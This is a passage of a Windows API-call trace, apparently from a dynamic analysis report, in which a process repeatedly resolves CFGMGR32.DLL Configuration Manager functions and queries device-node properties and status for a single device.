(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.662] malloc (_Size=0x18) returned 0x20abc281b60 [0241.662] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.666] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bcf245d, dwHighDateTime=0x1d9eb0c)) [0241.666] SetEvent (hEvent=0x248) returned 1 [0241.671] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.671] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.671] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.672] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.672] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.672] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.672] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.672] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.673] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.674] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.676] malloc (_Size=0x18) returned 0x20abc281b60 [0241.677] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.677] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bd18966, dwHighDateTime=0x1d9eb0c)) [0241.677] SetEvent (hEvent=0x248) returned 1 [0241.682] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.682] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.687] malloc (_Size=0x18) returned 0x20abc2819a0 [0241.687] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.687] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bd18966, dwHighDateTime=0x1d9eb0c)) [0241.688] SetEvent (hEvent=0x248) returned 1 [0241.692] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.692] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.696] malloc (_Size=0x18) returned 0x20abc2820a0 [0241.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.697] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4bd3f94c, dwHighDateTime=0x1d9eb0c)) [0241.697] SetEvent (hEvent=0x248) returned 1 [0241.790] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.790] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.793] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.794] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.794] malloc (_Size=0x18) returned 0x20abc281d60 [0241.795] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.798] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4be23810, dwHighDateTime=0x1d9eb0c)) [0241.799] SetEvent (hEvent=0x248) returned 1 [0241.803] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.807] malloc (_Size=0x18) returned 0x20abc2819a0 [0241.808] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x33, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0241.808] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4be498f8, dwHighDateTime=0x1d9eb0c)) [0241.808] SetEvent (hEvent=0x248) returned 1 [0241.814] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.814] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.818] malloc (_Size=0x18) returned 0x20abc281b20 [0241.818] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x33, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0241.819] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4be6fc8e, dwHighDateTime=0x1d9eb0c)) [0241.819] SetEvent (hEvent=0x248) returned 1 [0241.824] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.824] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.825] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.826] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.828] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.828] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0241.829] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4be6fc8e, dwHighDateTime=0x1d9eb0c)) [0241.829] SetEvent (hEvent=0x248) returned 1 [0241.916] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.916] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.920] GetProcAddress (hModule=0x7ffb1ced0000, 